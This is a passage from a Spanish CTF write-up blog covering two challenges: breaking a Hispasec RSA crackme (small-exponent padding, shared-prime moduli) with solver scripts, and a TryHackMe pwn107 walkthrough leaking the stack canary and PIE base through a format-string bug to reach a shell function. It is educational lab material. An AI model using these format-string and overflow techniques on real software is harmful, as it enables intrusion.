08XVms2P6hd9E_nmX5R-zaUYRMPjK1nXQFP0YtiToichC7LXS9fewt_LKbwXFv7IcZDu3ftAMk8Ulcxb6htIKObNxGgImyuuveyEPAN7MBS5ee_cpo5VoAW601JKRxIREMqd-JN6DTNl7zOhfYSi1B__LDtGmPe1woqBtEVQk-kLbx8mSvFxBD4C2jeo-kmTXI7VSKAOfqkVvcRsowuO9593t34c0E2frVxAMw4a3z00FNYT9YuABKAbU85NAzQockoRxYCc4wTJJTHtC9j7MX2jGIM9RB_K0cczOvvLzDvUsj0rb_BE4OJRJ3uWJlHFrHIMmGRGnlkzBDnoa8J03MhJImWvkjEWBdEba79v5Oy7FNTP-cpa8G7jrx2wmmGdoDeb-RmdBVvSxsmVJcUj0K0kuOfOowzDiDy8hYRzi3LY3VE3KnqnNEL9WKPOYifKX54ZTl2NmdWI8lqqzDjJU9vd4zPgOVn5_iApaUURc75sUadDib2uahYmwVytUz8TBP_ZP5vLKarSQE83kfNmLePU_1KNBq07-TsBWgJlKqDMgJTcUhKX6X-rEwhx_1sY8Dt2uk3KSi4lWn85FlMakpQ75doaE2gTS5XH6EtcqC4w0wiKZ2VRGulcM9ZRpvdqvoe8_7Yp5tdj98zIiVO6Ne4j4s_DJ9hHtn2PqsdVNviySvGt9xalvh_t-P65Irs3JMEaEGys1AtsaUrx7EYVVv-FlW7iGeZhL-ln5Z-ydwP8RxHet_feNLfCBMUuMPjm3HeYw4uspgWfffOymCLtTZM44XPWhRxJupJUJgOhHOigFNQ4YF9nwM9mRkVoqaTsSo1EW1lysVwhvSKNqfrJG8Kcvo05rbYIrrzQf6LP-YP_vtLLiWIvU8tF3rv7f6GWvBlK8teenwoz5peDUAYiWFT48uJ3UjyP5jLyNbHktjjTF2Nhe9Jup2lQLr5bFNoFDS0vWYS3lcJ7exipW7Ra_7i0_GHuGyvnauAq8MHqvlNzMPUrW4Jc514I3I2R1SRFUcfOk3QHUsgkdLVldTOd7nddE6TJ8WPqSPQ7ge_lnJ3bx6UgvYL3WYzPf6l7oLjUZqxrvmaNWFKhgA-LBjHIjpnTugLa3e7RR_SCch6SAqip_x3ZtSuIb9_dXtsws38sn3010Yh_aYjYx1M028f_EMHPxWAie5nzxLL3LsZ3aRKRZQ1RygCzLepO2-sO269jtsqZmYbFMEbCj0g45j8LOdQop8uaYbeYFRWxuO908P5SH5-LDtOQ_cfFTCBTWIhX5jNZtxQndhNRIIT4s-E6l2g3_vI20uQewMPmb_YvFeu3PVxGynOnLiOJcAflRSxTlbV2Mf_snzcppPwdzT0uk-bnpQHDFau2jgKLDqwY9vVUGzBdGIy4MgQVM2_fqXJbnQi2vAZetNC2KARttK1G_HTwv_mFtQmxE3JFH1p9SDKpPd-gmdEKJ5vYRDQz2g9ZI6VDJJqssnvTmPqH3YxwQcEb2DU7XZwzXNSb1cqbLO7-WTO_a-8Zzyw-P9TqfPvhA6GbCKHziO4lsO_LIMSV4qF091YZF7wXRTiFP1LRMhF4bYt7u6VLzKvf25aoNYVY5QHh6dsbb4i-I5Nwynsufab-qn4KdfJOkWJI7XkEquxdurb3A_QXGJB_v3hyHzOXdkq8EZRYenTU14jDyx0co6XuRFCTCh71_IYkqKa774UiiWn8gO_KyjFIYgJTeTF5DSJ_ZTcbMdblPB-aqbk8XNppGV8fE9h8qRGx6frp5hmWv2bbMDNaPIe1Z6mSz87ubNdAiFaZR5uEN-ocBR3BD7Y_ncpcyo8jT2l40VEvy5Lx3oDELBJVcgA3u5YIl7dchuc-jr33Oyygc-HBAG5VzQ5JLap9hVNQdXBBwdOZwDy2lJn0JgUKq-Z0ZDwKmJMQEiM0u3R4IHTZoiLZRqyaU6lYKKqDlkaUdn68AHqx2GBYmO06Z1RiYi694xnBr6wcn-gElaXQ2xtyy57CPmRC68I68DJSqDUXc9V1xAGd8EtH76n5BKOZfOQzPp8gTF854WLnpsCmtIRPmWNb0OruFjCC5g4Pe4Yx-FlElJyu0xSyqDhusHgFwbzDrEm64yqaPDbrE9OYeq-swpEppgWoINjoGkhmtiJQgNcN_dse0mF7jUQpVwrEFljgNP6B9LXBFnW7mHraycf2htkVD4gvoReAjZv7mCtsY1MT50bQO8R31hvRb44XXYdxXgxQWtuWVyzjcWRgY-YMdjmg-cp7WyGdixV_9GbzYlNwJjBYPaQu2rX8RKy1KbG7kG_bZ0UfyhATu_GJuplzpNnthkMiNiJB6UHXqYBuJb5SNcbUaUaEwIZCLAY6ZzaWgS_Jmxi-82P2oo4GHRIPTPVlj2Q8sLsfX4VEWrzHpSX-37NlqXNFlrGNd8MRCpsdpwGv5CzWSeAHhYV7emXtRF-4AfVg9TB0UKpuEnwzCa2RbZYrsoMa_wK_zqV7CjzlcJPHzz6__chqF3mOAx8yZ0Oap3SOE1Qaz-ctc5hkUzPwcNZ-okOMfNQ4S-qinCrDYPBdXVj5wj1b_u2jnARG6LLitaLdnlhB3uXEhJ7t1WT4bhDzNBRMyK3m6hj_EQqYl4Kqcp1CugZSs1fxuXV5g2nbPjsbZa-fVQWZ0fo8gRUbKRlUkibIx-6otsj6gyoK3z1cNEsOxSDYKHE73O_0CCaHR0JxRq8Y-dE6ZNKCrEmHskL-hPmqqJu04kyPJFknWFyPKO7MOBbH5WGf6cFvlsOSPSUBbX62RdN7tDYjjtjDHnuPi9czSXl69croO7p30yNeBshCieCcSCiiXgWooTXzko8CVfcTnjFNBlrHih43Ak3AJ1oKZkciYWXK3PsXoqC6QIdSMGR08_PNXE7YdClqwQAjr9ciPUWIpqbgmOKeJL3RHf6zyt7fXp7md8aooQv9eZtcLR6ZyQSQtDQBbjjTdOxbPI-_WPz0l_ZDSHLfOkK9Dad-lh50PA4lcy3YuVP_FX6fMCA8OTlUdgXI_sI-YOG51Jc3x9FXwhPwRDsLwCGvECFJ28SOkY_HpWdWK-FMP4HxvXhyYs_vD8JiDruYxmZAl0tpmOeRcyrCghcaJyGKXw8GwdH1wsRjF9VfmlD8_mVlSfTujPr2BGP-8_poxmbLktM0MIh8T5wUondYAhIcHCy3t1GSn6zDTOdrsN3-tIVh-3nlVC6yEcSEUCMAJ6CxzGOGJ1-FvpP2HbuG1XVTgzsIddjZWYMamYDduZR-TnpjU1O_Jc0_wYOcv6JyBK1Pr0LtGmK6XAwLACBp8PxzcBOZwN9x5IdvuHUIdGU4NVuCNYkltK-H-rNCCJ7Nmph8vfny4NO-1ho08Ju8UlgW79wJyBYBBh9yTiawhaE001iwI7Ttsd1beRIxLtL4St6r6_fCrJ1XaarLTbmlvFNhxbe3IE0Hfw1wFt1vGR_zfAq52hev8DdKYjHXKqmKZpLe8cnl1hvhjlLktNj9TZpL0FXTp5HOF0PPcoIKveI4Eqf5-CGB5JvnWVkoGAvJ2Ues_YLj6i3fTn53GPn93rUfwLxWD8kesEz0hcX6xqpJEpVFiEZ0gvcyQlS-wteuErcr0W_37nqcD9BnrZl94IrXHp7IVpUigpX0YHcSdNOyhh8Bam9u85ct__oA4kVGSEKnPHR8jI_rTp6rmoGx1k9fuRmO6K4zauC_uhSiH8ycJtjTBmimJ6rj9upEUdT7ICqhcD6qP32rB7UhgRy1sOg1qEju9LEyBHn-sInkdYzVxMi_OyoYNJynUWAwLzLHEq4qGtERwyEj_XPuAAe1PQbVEj0YP8YNCeZwK-OOgWYRLLEwPCgF5FxoKdzNm4kOev43AR5gtbwFP9PIJD12wci7jNtToJe-YYnhcR2ohEHwjyzQNBV3C5cCl6XBUoCa1v2BSHqRc_N5OaY_qqGL058fAMxiKxtTu93EBPigxgsVDH_sXQ1QrSU-Jkn-iTEolFjvEhrlCl1f3KMMBg==
"""

# Enter main loop
ui_flow()

if jump_into_full:
    exec(decrypted)

Primera flag:

Bajo mi punto de vista, conseguir la primera flag es más complicado que conseguir el resto. Las siguientes flags son más directas.

Para esta parte tenemos que analizar la función introducir_licencia:

introducir_licencia.py

def introducir_licencia():
    print("\n Su licencia se encuentra cifrada en RSA")
    print("\n Datos disponibles:")
    print("\n N:2388359604017562360686986826224407467085141542110106297195474917317598533853482966573781022895301214038172036369449124672056785812196701442436301713256329682262800506348973244370343978930848590448632471683227298949837982596258881987542556516242078135641151110529441878952297040735067050915825910591044267338619727699025093233802557928242039526776443273229603331123837732704576287055048035853719637773386378484400138967119256462879704170644777435140519575930343073837331606656680431107878364011329736084042156051102552595028376108767986366643502871029624959943078823651061456756269940347667680087219115241717836903727876944071795483871598218654421875968136363745276590642798841955188030275484016418866459941888404372137056223485086390119726549111092550651040715892407647299855009875414855092225786762619999478029464571012275427683308915306292354974121999956919177496194811807488385022242758843660252461621608921888601112105332430021120341932414260104903029586353455582330541938999265036078858976696027946971")
    print("\n e: 3")
    print("\n c: 1540721424343799902606651655848933086271745472278165266240849486559556881783873287413652584507984944306200870022880146776214626060950164476558869019210122220116044284889929096084990678169089848831509075708420122306035373495840314113720152014011617499294596976326861255637499828853401492372193963031884595623110218888611592586981134397771959503322183258914008502055519902491582335028201338136992911379083206307454812940479912821366654550451867440100372095636509631453314789012598795454510232231466021273667090876872012316533222291192770766350631652145833625098465315630072886326825137446590457400355062225014677785718519750253736188120429855174472025330346688494949266124236925164422748262980925232326494719540341841616873866001441002292970154428056595601908567551539056028365120426102085844437653070298813380091882415786292133393507387022552046526817913424253789271549901462627897454016941811819805715856594343758485141860592261362250817672946612120186033077052168133301973361814764918267639746916442387411")
    print("\n pista: la clave contiene un padding, y se encuentra en formato UAM{}")
    user_key = input("\n Introduzca la clave de su licencia contenida dentro del formato UAM{}: ")
    user_key = user_key.strip()

    global bUsername_trial
    decrypt_full_version(user_key)
    
#    if check_key(user_key, bUsername_trial):
#        decrypt_full_version(user_key)
#    else:
#        print("\nKey is NOT VALID. Check your data entry.\n\n")

Se nos proporciona el valor de e, n y c y nos pide una key.

A priori, podemos pensar que para descifrar c yobtener lakeypodemos abusar del valor tan pequeño que tiene el exponente ey que esto no va a darnos dolores de cabeza, pero no es así ?.

Si intentamos hacer la raíz cúbica de c, veremos que no obtenemos nada con sentido.

Es en este momento cuando me fijé en la pista que se nos proporciona en el código:

pista: la clave contiene un padding, y se encuentra en formato UAM{}

El padding se está aplicando directamente a m, es decir, al plaintext que se cifra. Es importante saber que solo podemos hacer la raíz cúbica de c si c < n, pero si le aplicas padding a m puede que c ≥ n. En este último caso, podemos conseguir el plaintext de la siguiente forma:

para un k perteneciente a Z

Por tanto, tenemos que ir incrementando el valor de c añadiendo múltiplos de n. Además, podemos saber que hemos conseguido el plaintext correcto, ya que, en ese caso, al cifrar el plaintext obtenido tendremos el mismo ciphertext que se nos da. Veámoslo mejor con el solver:

Space_Project_UAM_solver1.py

import gmpy
from Crypto.Util.number import long_to_bytes

n = 2388359604017562360686986826224407467085141542110106297195474917317598533853482966573781022895301214038172036369449124672056785812196701442436301713256329682262800506348973244370343978930848590448632471683227298949837982596258881987542556516242078135641151110529441878952297040735067050915825910591044267338619727699025093233802557928242039526776443273229603331123837732704576287055048035853719637773386378484400138967119256462879704170644777435140519575930343073837331606656680431107878364011329736084042156051102552595028376108767986366643502871029624959943078823651061456756269940347667680087219115241717836903727876944071795483871598218654421875968136363745276590642798841955188030275484016418866459941888404372137056223485086390119726549111092550651040715892407647299855009875414855092225786762619999478029464571012275427683308915306292354974121999956919177496194811807488385022242758843660252461621608921888601112105332430021120341932414260104903029586353455582330541938999265036078858976696027946971
c1 = 1540721424343799902606651655848933086271745472278165266240849486559556881783873287413652584507984944306200870022880146776214626060950164476558869019210122220116044284889929096084990678169089848831509075708420122306035373495840314113720152014011617499294596976326861255637499828853401492372193963031884595623110218888611592586981134397771959503322183258914008502055519902491582335028201338136992911379083206307454812940479912821366654550451867440100372095636509631453314789012598795454510232231466021273667090876872012316533222291192770766350631652145833625098465315630072886326825137446590457400355062225014677785718519750253736188120429855174472025330346688494949266124236925164422748262980925232326494719540341841616873866001441002292970154428056595601908567551539056028365120426102085844437653070298813380091882415786292133393507387022552046526817913424253789271549901462627897454016941811819805715856594343758485141860592261362250817672946612120186033077052168133301973361814764918267639746916442387411
c = c1
m = gmpy.root(c, 3)[0]

while (pow(m,3,n) != c1):
    print("c = {}".format(c))
    c += n
    m = gmpy.root(c, 3)[0]

print(long_to_bytes(m))

Tal y como se puede apreciar, el padding al que se referían consistía en una serie de espacios al inicio de la flag.

Segunda flag

Teniendo la primera flag podemos seguir con la ejecución del programa.

El programa nos pide la key que hemos obtenido y llama a la función decrypt_full_version pasando como argumento la key introducida. Si nos fijamos bien, en la función decrypt_full_versionse llama aFernetpasándole la key en base64:

Es importante saber que Fernet espera como key un valor de 32 caracteres, que es justamente la longitud de la cadena que hay entre {}. Por tanto, debemos proporcionar ese valor para continuar:

Seleccionamos la opción b y se nos muestra la información para obtener la siguiente flag:

Space_Project_UAM2.py

Vaya !!!

Necesitamos un segundo factor de autenticación

 Para acceder necesita resolver el siguiente problema:

n1: 17824662063931350214223386810814852301249515497497139812902163502913781924494611383559346606809815236390210116817784675436123817314832624239657588495739923029371893435842952633535768082946372752199420527479895241774646728166830063698600428670873489541441038897760730320294745670668053915562174940630507138294534347731116571076461922963834100132973236843497044086332284604129786238315376752921033613925923455396251665685832824666952007264503312922306586584664237974009954961856288489437483125273510945425456410783438852350972373785999603984625001762658969945048955998467179256971330663798743101126043605183291761793679

n2: 17460577025417532617145065037522684719407212829127451193876716400196816451636430831743273489268207759853471132779546752834413623537793912793243812987259466151761228452196854582811181807331843291280738156817866981931271729145201226943579856417184407304033533100808047053336224549884935791510122547487389856804128285266553747962197617004719267537827108328539484564367891730008842618178044124246682603653614368491934722999483505794204154388663752989138088424922985942599433814759715253917667843057739090927990433558072887522997800471142027386754437727690122530332561092903112609343096885413214207313020041427777416836713

n3: 19114115977732462701709687019902486937265612420334195715080797324907548368977075060698379696844613238474174655637002859494277633539823803694788625199412189504047299862787677238571557745235955402842143068069196101309866614792992094693162184772586974368956295124443272755898820570613890603947101529357476017518645136618906447433181071918544531652127075189503179140301462754620053974156552468411421074335786969199496555935064048045710530822473363892607723160785400638903937101974117782322313128438097540590522784580157463985226829290798397701018877754144380300784917111841349513391737293839942174090204466464441015492703

n4: 15680798551643988657227725199725012596795476788443067644763327604090511762090190479406955886477193871047341493066942394066713967749566032658288400768708478341188709773196419875727016823917358484802065657425968279639244589186765648041473389736294238890134959149156339523848000619170500615417270307174902991451802589702742104898640491331399313066713005239533220591758448459212465699731809196452098191187437776390331912957335192003925860873345418433583557156541796722390972745247097857595266619755507337406241346213908727239306423754384980052987581645674239898136379044720051607822563712811867075155274128421366838519583

c: 10931058306942089020672057700581464428272909160353174713420959992035643910409437837187988347774125974665123119596431537155658853351159062468188944273070821066937237766435849750062631870599237918419915582762855108175779466748532994055347749365575084502626428185068686508679344635119892041843950322009250685069064283921279309138421372296737657744514129020131720923828146884007481363881729475896383613849306362295706529335684081107062687862374744078331843219193260330138477840191131061097362730166647002540441817773187701136784352161143486235686385064948492946913439739470641841610262898366469961158456034571552582618844

e: 65537

Las relaciones entre las distintas n son

n1 = p * q

n2 = r * q

n3 = p * r

n4 = r * t

El encriptado se ha hecho de la siguiente forma: 

c = pow(pow(pow(pow(m,e,n1),e,n2),e,n3),e,n4)

Este reto es bastante trivial porque las distintas n comparten primos, por ello podemos ir obteniéndolos. Esto podemos hacerlo mediante el máximo común divisor.

Dado que la t solo se encuentra presente en n4, cuando obtengamosr podremos dividir n4 por r y conseguir t. El pseudocódigo es el siguiente:

pseudocodeUAM.py

q = mcd(n1,n2)
r = mcd(n2,n3)
p = mcd(n1,n3)
t = n4 // r

El cifrado de m se lleva a cabo mediante el siguiente fragmento:

c = pow(pow(pow(pow(m,e,n1),e,n2),e,n3),e,n4)

Teniendo los primos es sencillo descrifrarlo, tan solo tenemos que ir descifrando desde fuera hacia dentro, es decir, comenzamos fijándonos en el primer pow:

pow(*pow(pow(pow(m,e,n1),e,n2),e,n3),*e,n4)

Se eleva pow(pow(pow(m,e,n1),e,n2),e,n3) a e (mod n4). Esta es la primera parte que tenemos que descifrar. Sabemos que n4 = r * t y teniendo los primos podemos calcular d y descifrarlo:

ct4 = rsa_decrypt(r,t,n4,c,e)

Tras descifrar esta parte, conseguiremos lo que he denominado ct4.

El siguiente fragmento a descifrar es:

pow(pow(pow(m,e,n1),e,n2),e,n3)

Los dos primeros pow corresponden a ct4, por tanto, se eleva ct4 a e (mod n3). Para descifrarlo seguimos el mismo proceso que antes:

ct3 = rsa_decrypt(p,r,n3,ct4,e)

Seguimos así hasta llegar al final y obtener el valor de m. El script final es:

Space_Project_UAM_solver2.py

from Crypto.Util.number import long_to_bytes

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def mcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return a

def rsa_decrypt(prime1, prime2, n, c, e):
    
    phi = (prime1 - 1) * (prime2 - 1)
    # inverso de e modulo phi --> d
    gcd, a, b = egcd(e, phi)
    d = a
    # texto plano
    return pow(c, d, n)

n1=17824662063931350214223386810814852301249515497497139812902163502913781924494611383559346606809815236390210116817784675436123817314832624239657588495739923029371893435842952633535768082946372752199420527479895241774646728166830063698600428670873489541441038897760730320294745670668053915562174940630507138294534347731116571076461922963834100132973236843497044086332284604129786238315376752921033613925923455396251665685832824666952007264503312922306586584664237974009954961856288489437483125273510945425456410783438852350972373785999603984625001762658969945048955998467179256971330663798743101126043605183291761793679
n2=17460577025417532617145065037522684719407212829127451193876716400196816451636430831743273489268207759853471132779546752834413623537793912793243812987259466151761228452196854582811181807331843291280738156817866981931271729145201226943579856417184407304033533100808047053336224549884935791510122547487389856804128285266553747962197617004719267537827108328539484564367891730008842618178044124246682603653614368491934722999483505794204154388663752989138088424922985942599433814759715253917667843057739090927990433558072887522997800471142027386754437727690122530332561092903112609343096885413214207313020041427777416836713
n3=19114115977732462701709687019902486937265612420334195715080797324907548368977075060698379696844613238474174655637002859494277633539823803694788625199412189504047299862787677238571557745235955402842143068069196101309866614792992094693162184772586974368956295124443272755898820570613890603947101529357476017518645136618906447433181071918544531652127075189503179140301462754620053974156552468411421074335786969199496555935064048045710530822473363892607723160785400638903937101974117782322313128438097540590522784580157463985226829290798397701018877754144380300784917111841349513391737293839942174090204466464441015492703
n4 = 15680798551643988657227725199725012596795476788443067644763327604090511762090190479406955886477193871047341493066942394066713967749566032658288400768708478341188709773196419875727016823917358484802065657425968279639244589186765648041473389736294238890134959149156339523848000619170500615417270307174902991451802589702742104898640491331399313066713005239533220591758448459212465699731809196452098191187437776390331912957335192003925860873345418433583557156541796722390972745247097857595266619755507337406241346213908727239306423754384980052987581645674239898136379044720051607822563712811867075155274128421366838519583
c = 10931058306942089020672057700581464428272909160353174713420959992035643910409437837187988347774125974665123119596431537155658853351159062468188944273070821066937237766435849750062631870599237918419915582762855108175779466748532994055347749365575084502626428185068686508679344635119892041843950322009250685069064283921279309138421372296737657744514129020131720923828146884007481363881729475896383613849306362295706529335684081107062687862374744078331843219193260330138477840191131061097362730166647002540441817773187701136784352161143486235686385064948492946913439739470641841610262898366469961158456034571552582618844

q = mcd(n1,n2)
r = mcd(n2,n3)
p = mcd(n1,n3)
t = n4 // r
e = 65537
print("p = " + str(p))
print("q = " + str(q))
print("r = " + str(r))
print("t = " + str(t))

ct4 = rsa_decrypt(r,t,n4,c,e)
ct3 = rsa_decrypt(p,r,n3,ct4,e)
ct2 = rsa_decrypt(r,q,n2,ct3,e)
pt = rsa_decrypt(p,q,n1,ct2,e)

print(long_to_bytes(pt).strip())

Tercera flag

Teniendo la segunda flag, podemos introducirla en el código y continuar con la ejecución. Nada más introducirla, el programa escupe la tercera flag:

Con esto terminamos. Ha sido un reto muy entretenido. Muchas gracias a la gente de Hispasec por desarrollarlo.

Espero que os haya gustado y, lo más importante, que hayáis aprendido

DiegoAltF4

]]>Diego PalaciosWriteup Challenge 7 | pwn101 TryHackMe2022-06-08T00:28:10+00:002022-06-08T00:28:10+00:00https://diegoaltf4.com/challenge7-pwn101Hoy vamos a ver cómo resolver el challenge 7 de la room pwn101 de TryHackMe.

Introducción:

Este reto pertenece a la room PWN101 de TryHackMe. En él, veremos como aprovechar un format string vulnerability para conseguir leakear un canario además de un leak de pie. Posteriormente, saltaremos a una función get_streak para conseguir una instancia de /bin/sh.

Análisis inicial del binario:

Para comenzar, vamos a mirar ante qué tipo de binario nos estamos enfrentando.

$ file pwn107.pwn107

pwn107.pwn107: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0579b2a29d47165653fbb791fb528c59e951a1a0, not stripped

Se trata de un ELF de 64 bits, enlazado dinamicamente y no stripped. Esto último nos ayudará en la fase de reversing.

Ahora, vamos a mirar las protecciones del mismo. Para ello, podemos utilizar la utilidad checksec.

$ checksec pwn107.pwn107

[*] '/home/diegoaltf4/pwn107.pwn107'

    Arch: amd64-64-little

    RELRO: Full RELRO

    Stack: Canary found

    NX: NX enabled

    PIE: PIE enabled

Vemos que tiene canarios, NX y PIE. Esta información es muy importante para poder explotar adecuadamente el binario.

Análisis del decompilado:

Para esta parte, podemos emplear la herramienta ghidra.

Dado que el binario no está stripped, podemos tener acceso a toda la lista de símbolos.

Vamos a analizar la función main:

Bien, el programa nos pide un primer input que guardará en lo que he nombrado input1. Esta variable tiene un tamaño máximo de 32 bytes y en el read se leen como máximo 20 bytes. Seguidamente, imprime una cadena y el valor de input1. Dado que no especifica el formato de la variable que se va a imprimir, estamos delante de un Format String Vulnerability.

Posteriormente, nos pide un segundo input que almacena en la variable input2. Esta variable tiene un tamaño máximo de 24 bytes y en el read se leen como máximo 512 bytes. Aquí nos encontramos con la segunda vulnerabilidad.

Finalmente, comprueba que el canario no haya sido modificado. Si ha sido modificado, saldrá del programa al grito de: *** stack smashing detected : terminated. ***

Mirando el resto de funciones, podemos encontrar una muy interesante get_streak. Si conseguimos saltar a esta función podremos conseguir una shell:

Explotación:

Lo primero que tenemos que hacer es conseguir un leak del canario usando el format string vulnerability. Para esta tarea podemos emplear la herramienta GLUFS que desarrollé hace poco. Nos va a ayudar a automatizar todo el proceso de obtención de leaks.

La instalación es muy simple:

git clone https://github.com/Diego-AltF4/GLUFS.git

cd GLUFS/

pip3 install -r requirements.txt

chmod +x ./glufs.py

Ahora hay que modificar un pequeño fragmento del script para adaptarlo a nuestro binario. La zona que hay que modificar está claramente indicada y en nuestro caso quedaría de la siguiente forma:

confGLUFS.py

#######################################################################
#      This is the part that you must modify to fit your binary.      #
#######################################################################
#
p.sendlineafter(b'streak?', payload)	
p.recvuntil(b'current streak:')
leak = p.recvuntil(b'\n').strip(b'\n')
#
#######################################################################

Ya podemos empezar a buscar leaks. Usaremos la opción –canaryy la opción –pie

output.py

$ ./glufs.py -b ./pwn107.pwn107 -min 5 -max 20 --canary --pie

 .d8888b.  888     888     888 8888888888 .d8888b.  
d88P  Y88b 888     888     888 888       d88P  Y88b 
888    888 888     888     888 888       Y88b.      
888        888     888     888 8888888    "Y888b.   
888  88888 888     888     888 888           "Y88b. 
888    888 888     888     888 888             "888 
Y88b  d88P 888     Y88b. .d88P 888       Y88b  d88P 
 "Y8888P88 88888888 "Y88888P"  888        "Y8888P"  

                By: DiegoAltF4

[*] '/home/diegoaltf4/pwn107.pwn107'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Setting the maximum value to 20
[*] Setting the minimun value to 5
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27366
=========================================================
[*] 5 round
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27366)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27368
=========================================================
[*] 6 round
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27368)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27370
=========================================================
[*] 7 round
[+] leak: 0x55d03fc00add
[+] Possible pie leak found with payload: %7$p
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27370)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27372
=========================================================
[*] 8 round
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27372)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27374
=========================================================
[*] 9 round
[+] leak: 0x55fafaa00a90
[+] Possible pie leak found with payload: %9$p
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27374)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27376
[-] nil found
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27376)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27378
=========================================================
[*] 11 round
[+] leak: 0x563c99600780
[+] Possible pie leak found with payload: %11$p
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27378)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27380
=========================================================
[*] 12 round
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27380)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27382
=========================================================
[*] 13 round
[+] leak: 0x93505556de8ad200
[+] Possible canary found with payload: %13$p
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27382)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27384
[-] nil found
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27384)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27386
=========================================================
[*] 15 round
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27386)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27388
=========================================================
[*] 16 round
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27388)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27390
=========================================================
[*] 17 round
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27390)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27392
=========================================================
[*] 18 round
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27392)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27394
=========================================================
[*] 19 round
[+] leak: 0x55ba16c00992
[+] Possible pie leak found with payload: %19$p
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27394)
[+] Starting local process '/home/diegoaltf4/pwn107.pwn107': pid 27396
=========================================================
[*] 20 round
[+] leak: 0x5575a6e00a90
[+] Possible pie leak found with payload: %20$p
=========================================================
[*] Stopped process '/home/diegoaltf4/pwn107.pwn107' (pid 27396)

Como se puede ver, hemos encontrado bastantes cosas:

Por ejemplo, con el payload %11$p conseguimos un leak de pie y con el payload %13$pconseguimos un leak del canario. Ahora solo queda analizar a qué distancia se encuentra el leak de pie de la base del binario. Para esto vamos a iniciar gdb (yo voy a utilizargdb-pwndbg).

Pondremos un breakpoint en b *main+164que es cuando imprime nuestro input1, es decir, nuestro payload.

Le daremos a run, introduciremos el payload %11$p

ni para continuar con la ejecución:

Ahí podemos ver el supuesto leak de pie.

Y ahora, calculamos la diferencia entre esta dirección y la base. Dado que los offsets se mantienen, una vez tengamos el leak de pie, podremos calcular la base del binario.

Ahora podemos comprobar que el leak del canario es correcto.

Ponemos un breakpoint en main+8 (b *main+8)

Ejecutamos el binario (r)

Avanzamos a la siguiente instrucción (ni)

Como podemos ver en el assembly de ghidra, el canario queda almacenado en RAX:

Ahora inspeccionamos este valor:

Ahí tenemos el canario que genera el binario. Continuamos la ejecución e introducimos como payload el que nos saca GLUFS: %13$p

Como podemos ver, el output contiene el mismo valor que tenía RAX. Por tanto, el leak es correcto.

Teniendo todo esto listo, podemos escribir el exploit final:

La idea es conseguir el leak del canario, el leak de pie y calcular la base del binario. Seguidamente, explotaremos el BOF que se produce con el input2 (24 bytes), sobrescribiremos el valor del canario con el leakeado, sobrescribiremos RBP y pondremos en RIP la dirección de get_streak. Vamos a conseguir la dirección de get_streak gracias al leak de PIE que nos permite obtener la base del binario.

El exploit final queda así:

solver.py

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe, level='warn')
    p.sendlineafter(b'>', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    # ip_offset = cyclic_find(p.corefile.pc)  # x86
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
b *main+164
'''.format(**locals())

# Binary filename
exe = './pwn107.pwn107'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Lib-C library, can use pwninit/patchelf to patch binary
# libc = ELF("./libc.so.6")
